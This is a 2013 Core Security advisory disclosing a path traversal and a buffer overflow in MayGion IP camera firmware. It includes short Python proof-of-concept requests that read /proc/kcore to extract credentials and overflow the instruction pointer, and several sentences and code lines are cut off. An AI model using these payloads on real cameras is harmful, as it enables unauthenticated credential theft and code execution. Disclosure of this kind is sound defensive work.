Core Security - Corelabs Advisory

MayGion IP Cameras multiple vulnerabilities

1. *Advisory Information*

Title: MayGion IP Cameras multiple vulnerabilities
Advisory ID: CORE-2013-0322
Advisory URL:
Date published: 2013-05-28
Date of last update: 2013-05-28
Vendors contacted: MayGion
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Path traversal [CWE-22], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1604, CVE-2013-1605

3. *Vulnerability Description*

Multiple vulnerabilities have been found in MayGion IP cameras [1] based
on firmware v09.27 and below, that could allow an unauthenticated remote

1. [CVE-2013-1604] to dump the camera's memory and retrieve user
2. [CVE-2013-1605] to execute arbitrary code.

4. *Vulnerable Packages*

. MayGion IP cameras based on firmware 2011.27.09.
. Other firmware versions are probably affected too but they were not

5. *Non-Vulnerable Packages*

. H.264 ipcam firmware 2013.04.22.

6. *Credits*

These vulnerabilities were discovered and researched by Nahuel Riva and
Francisco Falcon from Core Exploit Writers Team.

7. *Technical Description / Proof of Concept Code*

7.1. *User Credentials Leaked via Path Traversal*

[CVE-2013-1604] The following Python code exploits a path traversal and
dumps the camera's memory. Valid user credentials can be extracted from
this memory dump by an unauthenticated remote attacker.

import httplib

conn = httplib.HTTPConnection("")
conn.request("GET", "/../../../../../../../../../proc/kcore")
resp = conn.getresponse()
data =

7.2. *Buffer overflow*

[CVE-2013-1605] The following Python script can be used to trigger the
vulnerability without authentication. As a result, the Instruction
Pointer register (IP) will be overwritten with 0x61616161, which is a
typical buffer overrun condition.

import httplib

conn = httplib.HTTPConnection("")
conn.request("GET", "/" + "A" * 3000 + ".html")
resp = conn.getresponse()
data =
